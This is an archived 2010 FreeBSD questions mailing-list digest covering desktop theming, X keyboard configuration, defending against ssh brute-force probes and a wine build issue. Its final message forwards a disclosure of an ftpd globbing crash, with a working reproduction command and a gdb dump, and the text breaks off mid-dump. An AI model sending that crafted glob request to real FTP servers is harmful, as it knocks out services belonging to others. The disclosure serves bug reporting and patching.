owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 20:32:06 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B5D6D106566C for ; Sun, 7 Mar 2010 20:32:06 +0000 (UTC) (envelope-from patfbsd@davenulle.org) Received: from smtp.lamaiziere.net (net.lamaiziere.net [91.121.44.19]) by mx1.freebsd.org (Postfix) with ESMTP id 79A9C8FC0C for ; Sun, 7 Mar 2010 20:32:06 +0000 (UTC) Received: from baby-jane.lamaiziere.net (unknown [192.168.1.10]) by smtp.lamaiziere.net (Postfix) with ESMTP id C51EE63319D for ; Sun, 7 Mar 2010 21:32:04 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by baby-jane.lamaiziere.net (Postfix) with ESMTP id 6BC002CEDB3 for ; Sun, 7 Mar 2010 20:32:19 +0100 (CET) Date: Sun, 7 Mar 2010 20:32:15 +0100 From: Patrick Lamaiziere To: freebsd-questions@freebsd.org Message-ID: <20100307203215.0925d7b8@davenulle.org> In-Reply-To: <201003071753.29305.amsibamsi@gmail.com> References: <201003071456.15638.amsibamsi@gmail.com> <201003071613.53869.eliaschr@ath.forthnet.gr> <201003070852.35803.jpaetzel@freebsd.org> <201003071753.29305.amsibamsi@gmail.com> X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.7; i386-portbld-freebsd8.0) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Subject: Re: KDE firefox integration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 20:32:06 -0000 Le Sun, 7 Mar 2010 17:53:29 +0100, Anselm Strauss a écrit : > > Another trick that PC-BSD uses....which might be more of what you > > are asking about is the installation of a port called > > x11-themes/gtk-qt4-engine This port allows gtk applications to be > > displayed using qt, which helps integrate the look of things like > > FF, Thunderbird, OOo with KDE. > > I already installed the gtk-qt4-engine, but it has some serious bugs. > Scroll bars are not painted, tab borders are painted at the wrong > position, etc. Could this be because I modified some of KDEs > appearance options? You have some preferences in the setup pannel for the engine, did you try to change things? I've used gtk-qt4-engine without these problems. Anyway, firefox does not terminate when I use gtk-qt4-engine. There is stil a firefox-bin process. From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 20:44:48 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 349F3106566B for ; Sun, 7 Mar 2010 20:44:48 +0000 (UTC) (envelope-from frank@shute.org.uk) Received: from atmail-9.bnguk.net (atmail-9.bnguk.net [80.74.253.9]) by mx1.freebsd.org (Postfix) with ESMTP id BB7DE8FC1A for ; Sun, 7 Mar 2010 20:44:47 +0000 (UTC) Received: from 77-44-105-82.xdsl.murphx.net ([77.44.105.82] helo=orange.esperance-linux.co.uk) by atmail-9.bnguk.net with esmtp (Exim 4.69) (envelope-from ) id 1NoNKq-000404-4y; Sun, 07 Mar 2010 20:44:24 +0000 Received: by orange.esperance-linux.co.uk (Postfix, from userid 1001) id E8D724AC20; Sun, 7 Mar 2010 20:44:23 +0000 (GMT) Date: Sun, 7 Mar 2010 20:44:23 +0000 From: Frank Shute To: Niki Kovacs Message-ID: <20100307204423.GA51286@orange.esperance-linux.co.uk> Mail-Followup-To: Niki Kovacs , freebsd-questions@freebsd.org References: <4B937B4C.3030702@kikinovak.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4B937B4C.3030702@kikinovak.net> User-Agent: Mutt/1.4.2.3i X-Face: *}~{PHnDTzvXPe'wl_-f%!@+r5; VLhb':*DsX%wEOPg\fDrXWQJf|2\,92"DdS%63t*BHDyQ|OWo@Gfjcd72eaN!4%NE{0]p)ihQ1MyFNtWL X-Operating-System: FreeBSD 8.0-RELEASE-p2 amd64 X-Organisation: 'shute.org.uk' Cc: freebsd-questions@freebsd.org Subject: Re: Configure X: multiple keyboard layouts ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Frank Shute List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 20:44:48 -0000 On Sun, Mar 07, 2010 at 11:09:16AM +0100, Niki Kovacs wrote: > > Hi, > > I'd like to configure X for multiple keyboard layouts, e. g.: > > - french > - swiss french > - german > > On my Linux box (running CentOS 5.4 and a dated version of X.org), the > configuration for this looks like this : > > Section "InputDevice" > Identifier "Keyboard0" > Driver "kbd" > Option "XkbModel" "pc105" > Option "XkbLayout" "fr,ch,de" > Option "XkbVariant" ",fr," > Option "XkbOptions" "grp:alt_shift_toggle" > EndSection > > This stanza enables me to toggle between different keyboard layouts, > using the [Alt]+[RightShift] key combination. You might wonder about the > XkbVariant option: the swiss keyboard layout has two variants: fr and > de. This is to indicate the swiss roman layout. > > Now is there any way I could achieve a similar thing with the more > recent X.org shipping with FreeBSD 8.0 ? > > Any suggestions ? Hi Niki, Welcome to FreeBSD! There is a way to achieve similar results with recent X.org. X nowadays can get by without an xorg.conf and by default it uses hald and dbus to configure keyboard, mouse etc. It's documented how you can create an xorg.conf and use that for device config rather than hald: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/x-config.html You basically create an xorg.conf and then add: Option "AutoAddDevices" "false" to the ServerLayout section and then your keyboard config placed in your xorg.conf will be picked up. You will also need a section for the mouse along the lines of: Section "InputDevice" Identifier "Mouse0" Driver "mouse" Option "CorePointer" Option "Protocol" "auto" Option "Device" "/dev/sysmouse" # Option "Emulate3Buttons" "false" Option "ZAxisMapping" "4 5 6 7" # For scroll wheel EndSection It's parameters are dependent on your type of mouse. With that and xorg.conf placed under /etc/X11/ you should be good to go. But I'm quite sure you know that xorg.conf can be a fiddle ;) If you get stuck, post your xorg.conf BTW, if you haven't read it already the manpage for moused(8) is quite a revelation. The FreeBSD mouse driver puts the Linux mouse driver to shame! Regards, -- Frank Contact info: http://www.shute.org.uk/misc/contact.html From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 20:58:36 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 806EF1065674 for ; Sun, 7 Mar 2010 20:58:36 +0000 (UTC) (envelope-from dc@dcoder.net) Received: from ns2.dcoder.net (207-126-122-62.ip.openhosting.com [207.126.122.62]) by mx1.freebsd.org (Postfix) with ESMTP id 5B9888FC24 for ; Sun, 7 Mar 2010 20:58:36 +0000 (UTC) Received: by ns2.dcoder.net (Postfix, from userid 500) id 6E7967D34DD; Sun, 7 Mar 2010 15:41:14 -0500 (EST) Date: Sun, 7 Mar 2010 15:41:14 -0500 From: dacoder To: freebsd-questions@freebsd.org Message-ID: <20100307204114.GK16274@mail2.dcoder.net> Mail-Followup-To: freebsd-questions@freebsd.org References: <20100305125446.GA14774@elwood.starfire.mn.org> <4B91B36D.1020507@locolomo.org> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <4B91B36D.1020507@locolomo.org> User-Agent: Mutt/1.4.1i Subject: Re: Thousands of ssh probes X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 20:58:36 -0000 +++ Erik Norgaard [06/03/10 02:44 +0100]: >On 05/03/10 13:54, John wrote: >>My nightly security logs have thousands upon thousands of ssh probes >>in them. One day, over 6500. This is enough that I can actually >>"feel" it in my network performance. Other than changing ssh to >>a non-standard port - is there a way to deal with these? Every >>day, they originate from several different IP addresses, so I can't >>just put in a static firewall rule. Is there a way to get ssh >>to quit responding to a port or a way to generate a dynamic pf >>rule in cases like this? > >This is a frequent question on the list, search the archives. Basically >there are few things that you can do: > >1. limit the access to a range of IPs, for example, even if you travel a >lot you go to al limited number of countries, why permit access from >other continents? > >2. limit access to certain users, there is no need to allow games or >root user to authenticate via ssh. Use AllowUsers or AllowGroups to >restrict access to real users. > >3. limit the amount of concurrent non-authenticated connections, number >of failed attempts and similar. > >4. prohibit password authentication. > >If the problem is that these attacks consume significant bandwidth then >moving your service to a different port may be a good solution, but if >your concern is security, then the above is more effective. > >BR, Erik > >-- >Erik Nųrgaard >Ph: +34.666334818/+34.915211157 http://www.locolomo.org >_______________________________________________ >freebsd-questions@freebsd.org mailing list >http://lists.freebsd.org/mailman/listinfo/freebsd-questions >To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- has anybody suggested having sshd listen on a high port? regards, david coder network engineer emeritus, verio/ntt telluride, co & washington, dc From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 21:25:05 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DFE5F106566B for ; Sun, 7 Mar 2010 21:25:05 +0000 (UTC) (envelope-from lalev.angelin@gmail.com) Received: from fg-out-1718.google.com (fg-out-1718.google.com [72.14.220.152]) by mx1.freebsd.org (Postfix) with ESMTP id 78B2F8FC19 for ; Sun, 7 Mar 2010 21:25:05 +0000 (UTC) Received: by fg-out-1718.google.com with SMTP id 22so774819fge.13 for ; Sun, 07 Mar 2010 13:25:04 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=5y0W7BiTT9g/1jAuVwh3JHjEnAEZ1JqFyoOXUG5uBEI=; b=I3ec3++YMmpu17hvbQwLjKnYKmaPN/diBbKFoVMG80tEh9GRDKEN+VOOLfCeeQ9dm4 oER9EgexVkJRLv9u1oE8scLqLwd2yq4hHCGc1gtoiP5UOPv4M7CgD/aLYSfWcFmEh7Vy CHFmrEZl2XndAuyLyNHYnIAP3QzVLCaskz8ag= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=q91wG/Mk3nhn9qFtZ2iShXB5qD5WqdqrIXUvxOaGsTf3H588jpBnvIRJMwyyNdD/xM txOLrtZkpKX10Oo8qeA6xVk2lxnw74C0TKXT5Zv3+MPbjeyzuHvALfWZe1KV3Cbkw0F9 pMBLs2MD/QlEp3ycudSISXpsZ+V7iLMfWazDQ= MIME-Version: 1.0 Received: by 10.239.184.72 with SMTP id x8mr331226hbg.44.1267997104177; Sun, 07 Mar 2010 13:25:04 -0800 (PST) Date: Sun, 7 Mar 2010 23:25:04 +0200 Message-ID: <532b03711003071325j9ab3c98u703b31abdc7ea8fe@mail.gmail.com> From: Angelin Lalev To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Subject: [OT] ssh security X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 21:25:06 -0000 Greetings, I'm doing some research into ssh and its underlying cryptographic methods and I have questions. I don't know whom else to ask and humbly ask for forgiveness if I'm way OT. So, SSH uses algorithms like ssh-dss or ssh-rsa to do key exchange. These algorithms can defeat any attempts on eavesdropping, but cannot defeat man-in-the-middle attacks. To defeat them, some pre-shared information is needed - key fingerprint. If hypothetically someone uses instead of the plain text authentication some challenge-response scheme, based on user's password or even a hash of user's password would ssh be able to avoid the need the user to have key fingerprints of the server prior the first connection? From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 21:28:59 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E1A3310656C3 for ; Sun, 7 Mar 2010 21:28:59 +0000 (UTC) (envelope-from lalev.angelin@gmail.com) Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223]) by mx1.freebsd.org (Postfix) with ESMTP id 78DF38FC1B for ; Sun, 7 Mar 2010 21:28:59 +0000 (UTC) Received: by fxm23 with SMTP id 23so4253212fxm.3 for ; Sun, 07 Mar 2010 13:28:58 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=pTTJ0HjWtr+nfJgxMptCVakRQNXPbzp32nR3fB29MKE=; b=dRSFBtc73x9pQ503aUk3QsTW3CST2l5O+tYfMen8sZcF6m5fXhmvMsWy4X0jwbV2Sf rk8oeo6CLFYYrkDBCkwGPdJ2NicQvH8xhbjXV59gmySBS4NhorGlNOhWOci478met+28 iElYcfBKjYZ/4cYt3R/KBsYALWH7i5iaGkk1w= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=UG2dze/RjkRhnjxIxP67Km+kBxXEGRyTCKfprAbGDFkwFqczvWvoQme/tcgHkom0AZ dIT+n+Kg3yAvh+P0TAdI4TRmCH1XeQT5hKLvtyXSRtma5juvH1zsvXnhi+QgmCGWnCtU q/vQ3/mToCnzzzOEyv3v8HlAvmVso9bTcMR5Y= MIME-Version: 1.0 Received: by 10.239.169.20 with SMTP id m20mr317042hbe.20.1267997338146; Sun, 07 Mar 2010 13:28:58 -0800 (PST) In-Reply-To: <532b03711003071325j9ab3c98u703b31abdc7ea8fe@mail.gmail.com> References: <532b03711003071325j9ab3c98u703b31abdc7ea8fe@mail.gmail.com> Date: Sun, 7 Mar 2010 23:28:58 +0200 Message-ID: <532b03711003071328n57042980gf5520f40dcc73950@mail.gmail.com> From: Angelin Lalev To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Subject: Re: [OT] ssh security X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 21:29:00 -0000 On Sun, Mar 7, 2010 at 11:25 PM, Angelin Lalev wrote: > Greetings, > > I'm doing some research into ssh and its underlying cryptographic > methods and I have questions. I don't know whom else to ask and humbly > ask for forgiveness if I'm way OT. > > So, SSH uses algorithms like ssh-dss or ssh-rsa to do key exchange. > These algorithms can defeat any attempts on eavesdropping, but cannot > defeat man-in-the-middle attacks. To defeat them, some pre-shared > information is needed - key fingerprint. > > If hypothetically someone uses instead of the plain text > authentication some challenge-response scheme, based on user's > password or even a hash of user's password would ssh be able to avoid > the need the user to have key fingerprints of the server prior the > first connection? > To clarify, we as users anyway do have shared secret with the server and that's the authentication password why we could not use that instead of or in addition to a key fingerprint? From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 21:59:11 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 496CE106566B for ; Sun, 7 Mar 2010 21:59:11 +0000 (UTC) (envelope-from walt@wump.org) Received: from mta31.charter.net (mta31.charter.net [216.33.127.82]) by mx1.freebsd.org (Postfix) with ESMTP id D69838FC14 for ; Sun, 7 Mar 2010 21:59:10 +0000 (UTC) Received: from imp11 ([10.20.200.11]) by mta31.charter.net (InterMail vM.7.09.02.04 201-2219-117-106-20090629) with ESMTP id <20100307215909.JAWJ1847.mta31.charter.net@imp11> for ; Sun, 7 Mar 2010 16:59:09 -0500 Received: from [10.0.0.10] ([68.116.98.9]) by imp11 with smtp.charter.net id qMz41d0070C8vLc05Mz6bK; Sun, 07 Mar 2010 16:59:09 -0500 X-Authority-Analysis: v=1.0 c=1 a=kj9zAlcOel0A:10 a=ebNzH6DdAAAA:8 a=fxSBvyXH6ym9THtPd8sA:9 a=18V-pgIbqXAOxwNNiDOpgsKxIMYA:4 a=CjuIK1q_8ugA:10 a=Z-IikAJXHoYA:10 a=zbkDLoAsQ4cA:10 Mime-Version: 1.0 Message-Id: In-Reply-To: References: <799211.14657.qm@web65514.mail.ac4.yahoo.com> Date: Sun, 7 Mar 2010 13:58:07 -0800 To: freebsd-questions@freebsd.org From: Walt Pawley Content-Type: text/plain; charset="us-ascii" Subject: Re: freebsd install from floppy X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 21:59:11 -0000 At 1:28 PM -0500 3/6/10, Chuck Swiger wrote: >While I think floppy drives are still useful for BIOS updates and the >like, it's not just Apple that isn't selling machines with floppy >drives any more. Go to HP or Dell and try to buy a new machine with a >floppy drive-- they don't sell them anymore, either... I certainly can't argue that modern machines typically have floppy drives ... even if the motherboard supports one. So what? Not everyone in the world throws their three year old computer in the trash so they can stay "up to date." I, for one, find it very annoying that new versions of software which once worked just fine on equipment I still use every day no longer work in their current incarnations. Delving into several such cases, I've found comments to the effect that functions are removed because no one uses the old stuff (ie. three years old) any more. -- Walter M. Pawley Wump Research & Company 676 River Bend Road, Roseburg, OR 97471 541-672-8975 From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 22:48:55 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2F7C6106564A for ; Sun, 7 Mar 2010 22:48:55 +0000 (UTC) (envelope-from norgaard@locolomo.org) Received: from mail.locolomo.org (97.pool85-48-194.static.orange.es [85.48.194.97]) by mx1.freebsd.org (Postfix) with ESMTP id D395D8FC13 for ; Sun, 7 Mar 2010 22:48:54 +0000 (UTC) Received: from beta.local (ppp-82-135-68-1.dynamic.mnet-online.de [82.135.68.1]) by mail.locolomo.org (Postfix) with ESMTPSA id AF2D81C0871 for ; Sun, 7 Mar 2010 23:48:45 +0100 (CET) Message-ID: <4B942D4B.6070407@locolomo.org> Date: Sun, 07 Mar 2010 23:48:43 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <20100305125446.GA14774@elwood.starfire.mn.org> <4B91B36D.1020507@locolomo.org> <20100307204114.GK16274@mail2.dcoder.net> In-Reply-To: <20100307204114.GK16274@mail2.dcoder.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Subject: Re: Thousands of ssh probes X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 22:48:55 -0000 On 07/03/10 21:41, dacoder wrote: > has anybody suggested having sshd listen on a high port? Any number will do, think about it: a. The attacker doesn't really care which host is compromised any will do, and better yet someones home box as it is more difficult to trace him. In that case he will scan large ip-ranges for hosts listening on port 22. b. The attacker wants to gain control of a particular server. In that case he will scan all ports to see what services are running and determine which services are running on each port. In that case running ssh on a non-standard port is futile. However, I'm not really a fan of using non-standard ports for ssh, I don't believe it's the right solution to the problem: You have ssh access to the outside because people travel and need remote access. In that case they might find themselves under other security policies which block access to services deemed unnecessary. Running ssh on a non-standard port is likely to be blocked on the client network - unless you run on, say, port 80. The more uses you have, the more problems you will have running ssh on a non-standard port, the time you save checking your logs may easily be spent on end user support. OP referred to significant impact on bandwidth which I find difficult to believe. In case connections come from a single ip at a time then you should tweak LoginGraceTime, MaxAuthTries, MaxSessions to reduce the number of concurrent un-authenticate connections and slow down brute force attacks. Much better, restrict the client access to certain ranges of IPs. The different registries publish ip ranges assigned per country and you can create a list blocking countries you are certain not to visit, you can use my script: http://www.locolomo.org/pub/src/toolbox/inet.pl BR, Erik -- Erik Nųrgaard Ph: +34.666334818/+34.915211157 http://www.locolomo.org From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 23:15:16 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2EED71065670 for ; Sun, 7 Mar 2010 23:15:16 +0000 (UTC) (envelope-from gerald@pfeifer.com) Received: from vexpert.dbai.tuwien.ac.at (vexpert.dbai.tuwien.ac.at [128.131.111.2]) by mx1.freebsd.org (Postfix) with ESMTP id DD1AC8FC0A for ; Sun, 7 Mar 2010 23:15:15 +0000 (UTC) Received: from acrux.dbai.tuwien.ac.at (acrux.dbai.tuwien.ac.at [128.131.111.60]) by vexpert.dbai.tuwien.ac.at (Postfix) with ESMTP id 09F441E05F; Sun, 7 Mar 2010 23:55:18 +0100 (CET) Received: by acrux.dbai.tuwien.ac.at (Postfix, from userid 1203) id A63E91604A; Sun, 7 Mar 2010 23:55:21 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by acrux.dbai.tuwien.ac.at (Postfix) with ESMTP id 92CD016048; Sun, 7 Mar 2010 23:55:21 +0100 (CET) Date: Sun, 7 Mar 2010 23:55:21 +0100 (CET) From: Gerald Pfeifer To: Eitan Adler In-Reply-To: Message-ID: References: <201002281924.o1SJO6df078229@freefall.freebsd.org> User-Agent: Alpine 1.99 (LSU 1142 2008-08-13) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: questions@freebsd.org Subject: Re: ports/144357: emulators/wine build failure X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 23:15:16 -0000 Hi Eitan, On Mon, 1 Mar 2010, Eitan Adler wrote: >> Which version of flex are you using (you can find out running >> /usr/local/bin/flex --version)? > %flex --version > flex version 2.5.4 that is the system version of flex; I was specifically asking for the one in /usr/local/bin/flex which is used by the wine port (since the system one is too old for wine). > WITHOUT_NLS=YES > OPTIMIZED_CFLAGS=yes > PERL_VERSION=5.10.1 > > that is all. Perhaps it is the NLS which is causing a problem? It should not, but if you can rebuild flex and Wine without this, that would be an interesting data point. My take it this is that _something_ is causing flex to generate incorrect code or the toolchain is miscompiling something. That's why I asked about the version of flex you are using, that is the one thing I could think of. (Over here it is flex 2.5.35, the package 2.5.35_3.) Gerald From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 00:52:57 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A441F106564A for ; Mon, 8 Mar 2010 00:52:57 +0000 (UTC) (envelope-from zam4ever@gmail.com) Received: from mail-iw0-f173.google.com (mail-iw0-f173.google.com [209.85.223.173]) by mx1.freebsd.org (Postfix) with ESMTP id 69DB88FC14 for ; Mon, 8 Mar 2010 00:52:57 +0000 (UTC) Received: by iwn3 with SMTP id 3so397425iwn.13 for ; Sun, 07 Mar 2010 16:52:56 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=95P+y8h1dy4Wk/FnF23JuUV1JGKLCdplG7QrTBl0/po=; b=Tv/j5l4hKCALR4TnyXA9FZTT1nAhCYxl/eC2v5cMUScou+sW3VraJ7BVIBfitJUKAk 7vk65HHiT/Hwkbubz0PbepPTI1AiDEWf67flnIYQynOF6I+U0Hmtcr/GlXhcmV35DOu8 FxVqLXat7zzfcRH02ABj4iU2OvacgZsBvQ0kY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=RWChR1nQJ8adcd87j3dEsVaaHpIMK8GpzZ15ubDrRJQt9eyeLBZnmtSo+C+r8iCqxj oxWoNDlCIWK9bLw0X2n7F8M9X9U99wGRogeNQg6+674HGAB7OU4jJQqmU2pcWesUIjGU +lefkRDcHUHgVevrQGsS06MN8ngKBJeju0db4= MIME-Version: 1.0 Received: by 10.231.154.213 with SMTP id p21mr280854ibw.42.1268009576526; Sun, 07 Mar 2010 16:52:56 -0800 (PST) In-Reply-To: <1267802352.2827.9.camel@nr-pentest> References: <1267802352.2827.9.camel@nr-pentest> Date: Mon, 8 Mar 2010 08:52:56 +0800 Message-ID: From: Zamri Besar To: misc , freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: [Full-disclosure] FreeBSD and OpenBSD ftpd bug (not exploitable?) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 00:52:57 -0000 Dear all, Found this in full-disclosure mailing list. ---------- Forwarded message ---------- From: Kingcope Date: Fri, Mar 5, 2010 at 11:19 PM Subject: [Full-disclosure] FreeBSD and OpenBSD ftpd bug (not exploitable?) To: full-disclosure@lists.grok.org.uk, bugtraq@securityfocus.com FreeBSD ftpd globbing bug - null pointer dereference ? Affected FreeBSD Releases +-+-+-+-+-+-+-+-+-+ FreeBSD 8.0, 6.3 and 4.9 Affected OpenBSD Releases +-+-+-+-+-+-+-+-+-+ OpenBSD 4.6 Testing Environment +-+-+-+-+-+-+-+-+-+ FreeBSD localhost.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009 root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 Full Description +-+-+-+-+-+-+-+-+-+ FreeBSD (tested back to 4.9-Release) (and OpenBSD 4.6) has a bug in its ftpd when handling globbing requests. My investigation results in this being a null pointer dereference in popen.c. I am not sure if this could be a heap overrun, but I don't think so. from popen.c: /* glob each piece */ gargv[0] = argv[0]; for (gargc = argc = 1; argv[argc] && gargc < (MAXGLOBARGS-1); argc++) { glob_t gl; int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE; memset(&gl, 0, sizeof(gl)); gl.gl_matchc = MAXGLOBARGS; flags |= GLOB_LIMIT; [1] if (glob(argv[argc], flags, NULL, &gl)) gargv[gargc++] = strdup(argv[argc]); [2] else [3] for (pop = gl.gl_pathv; *pop && gargc < (MAXGLOBARGS-1); pop++) gargv[gargc++] = strdup(*pop); globfree(&gl); } At [1] glob() is called. if theres a long directory (for example "A" x 200) and a request like described in "how to repeat this problem" is sent to the ftpd it crashes. My assumption is because it lands in the else clause [2], glob doesn't fail but gives back a zeroed out gl structure. In [3] then there's no check if pop is null and therefore *pop gets dereferenced which is a null pointer and the ftpd instance crashes. Could someone please shed some light into why glob doesn't fail but gives a zeroed out structure back? How to repeat the problem +-+-+-+-+-+-+-+-+-+-+-+-+-+ $ ftp 192.168.2.11 Connected to 192.168.2.11. 220 localhost.Belkin FTP server (Version 6.00LS) ready. Name (192.168.2.11:nr): kcope 331 Password required for kcope. Password: 230 User kcope logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> mkdir WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW 257 "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW" directory created. ftp> ls {W*/../W*/../W*/../W*/../W*/../W*/../W*/} 200 PORT command successful. ---snip--- on the other side: ---snip--- 0x282261e5 in read () at read.S:3 3 RSYSCALL(read) Current language: auto; currently asm (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x0805622c in getline () (gdb) i r eax 0x0 0 ecx 0x0 0 edx 0x0 0 ebx 0xbfbfd911 -1077946095 esp 0xbfbfba70 0xbfbfba70 ebp 0xbfbfcc08 0xbfbfcc08 esi 0x1 1 edi 0xbfbfcbf4 -1077949452 eip 0x805622c 0x805622c eflags 0x10293 66195 cs 0x33 51 ss 0x3b 59 ds 0x3b 59 es 0x3b 59 fs 0x3b 59 gs 0x1b 27 (gdb) x/10i $eip 0x805622c : mov (%edx),%eax 0x805622e : setle %cl 0x8056231 : mov 